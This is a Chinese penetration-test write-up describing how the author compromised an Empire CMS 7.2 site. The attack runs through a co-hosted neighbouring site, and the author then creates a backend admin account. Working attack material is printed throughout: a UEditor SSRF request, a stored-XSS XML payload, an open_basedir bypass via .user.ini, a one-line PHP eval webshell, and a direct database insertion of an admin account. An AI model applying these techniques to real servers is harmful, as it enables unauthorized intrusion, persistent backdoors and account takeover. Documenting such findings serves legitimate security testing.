通过拿下旁站创建帝国cms后台账户
0 前言
公司的每月任务同事没完成数量就帮忙看了一下,发现到了个查不到的问题就来分享了一下。
1、渗透路程
首先从资产列表中随便选了一个站:http://www.xxxxx.org.cn 。然后就习惯性的先点击插件link-grabber看看网页有包含了什么链接
这路径一看直接猜测一波帝国cms好吧。直接猜一波后台路径/e/admin,哦吼果然没那么简单。
那就看一下前台登录路径看得不得/e/member/login/,呀呼,前台可以
本来下面应该是empire cms的不知道被改成了什么意思的cms,不过版本号可能就没改,那就可能是帝国cms7.2的版本了。 点击会员列表看到只有一个admin的账户,想着爆破一波弱口令,可惜没爆破成功
然后就扫了一下端口看看有什么端口,扫到了个27017端口,mongodb数据库,用超级弱口令工具检测出来密码为空,以为能拿到数据库了。结果好家伙,尝试了各种工具花了半天发现连不上。(后面看到了这个:https://blog.csdn.net/Xu_programmer/article/details/116561078 才知道原来是误报,。,。踩坑了)
在会员列表看资料/e/space/?userid=1看到了有留下了邮箱。然后就通过sgk找到了前台的密码,成功拿下了前台
但是可惜前台很多功能都被删完了,几乎没剩下什么可以利用的了。就在无望的时候扫描目录发现了个ueditor,哦吼。/e/data/ecmseditor/ueditor/。通过用控制台输入:console.log(UE.version)能看ueditor的版本。为1.4.3
随后通过搜索引擎发现有个ssrf漏洞/e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
本来想着看能不能getshell的,但是这个是php的,好像只有aspx的才能getshell,于是只能上传文件个存储型xss了
通过上传图片后抓包将uploadimage类型改为uploadfile,并修改文件后缀名为xml,最后复制上xml代码即可
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>
在无果的时候想着了这个应该不是后台的路径,于是想起了这个是由一家名为:XX信息 的公司建立的
于是对路径/e/xx/ 进行了猜想,果然就是帝国cms的后台登录地址了,但是没有账号密码,登录不上。又陷入了沉迷
于是又想起了访问的如果是https报错的话有显示个报错信息,里面包含是另外一个网站livexxxxxx.com
于是对两个网站都ping检测了一下,发现两个都是同个IP,那应该就是同个服务器下面的了
打开旁站后一心想着找后台,虽然找到了后台地址,但是发现后台地址也没登录上,在前台地址看到了能扫码登录,于是用wechat扫码登录了一下,然后就看到了在头像的位置能上传,于是就随便上传了个php文件,没想到可以直接上传!!!
二话不说直接就上传了个哥斯拉的马,拿下了旁站的shell。但是什么命令都执行不了,用的是宝塔,想着用fpm绕过disable,但是绕不过。php7的,用FFI也不行。
然后我就想着提权不了,也看不了上级的目录,那要怎么拿目标站?辛亏我师傅说可以用.user.ini和php文件来绕过目录的限制!!
.user.ini
open_basedir=:/
user.php
<?php
eval($_post["pass"])
?>
通过突破目录的限制,连上了新的shell后发现能看到全部的目录了,结果一看好家伙,228个目录站,首先就找了此次的目标站
然后在e/config/config.php 找到了数据库的配置,用哥斯拉连上了数据库,找到了后台的数据库表之后想着添加个账号,但是好家伙,一看我人懵了,这是什么鬼???用cmd5也搜不到密码
然后通过搜索引擎都没搜到我想要的创建账号的相关信息,于是自己搭建了个帝国cms7.2的版本来测试,但是在数据库怎么添加的账号都是这样登录不上,在后台添加的账号却可以直接登录。试了一下在数据库复制在后台创建的账号,然后再在后台把新创建的账户给删了,再用数据库直接添加,但是也还是登录不上。我人又双叒叕的懵了。
于是我就想着用我刚好上周学了一周的php基础来看一下源码是通过怎么通过数据库的来验证是否是创建的账户呢。终于找到了adminfun.php的这个文件中 //认证码 在这里验证账号密码
//认证码
if($ecms_config['esafe']['loginauth']&&$ecms_config['esafe']['loginauth']!=$post['loginauth'])
{
InsertErrorLoginNum($username,$password,1,$loginip,$logintime);
printerror("ErrorLoginAuth","index.php");
}
$user_r=$empire->fetch1("select userid,password,salt,salt2,lasttime,lastip,addtime,addip,userprikey,lastipport,addipport from {$dbtbpre}enewsuser where username='".$username."' and checked=0 limit 1");
if(!$user_r['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
if($user_r['password']!=$ch_password)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
然后在下面的 //安全问答 验证enewsuseradd表的userid是否存在
//安全问答
$user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
if(!$user_addr['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
if($user_addr['equestion'])
{
$equestion=(int)$post['equestion'];
$eanswer=$post['eanswer'];
if($user_addr['equestion']!=$equestion)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ckeanswer=ReturnHLoginQuestionStr($user_r['userid'],$username,$user_addr['equestion'],$eanswer);
if($ckeanswer!=$user_addr['eanswer'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
}
随后我看了一下确实通过后台创建的账户都有个userid,然后我用数据库的添加都没有。随后我就自己添加了个进去,果然就可以登录上后台了!!!
导出我自己创建的账号语句直接在目标站添加了进去,再在enewsuseradd的表添加了我刚刚添加的账号id,终于成功的登录上了后台!
之后就在网上找到的那些洞中一个个复现了,首先第一个就是通过备份数据来看phpinfo的信息了
获取到了phpinfo信息,再试那些能拿shell的漏洞了,但是发现其他拿shell的功能点都不见了。于是我直接在我自己搭建的环境中抓对应的包来这边修改,最后终于试到还有一个可以拿shell的点,“导入系统模型”,虽然功能点见不到,但是通过抓包改包最终还是露出了原形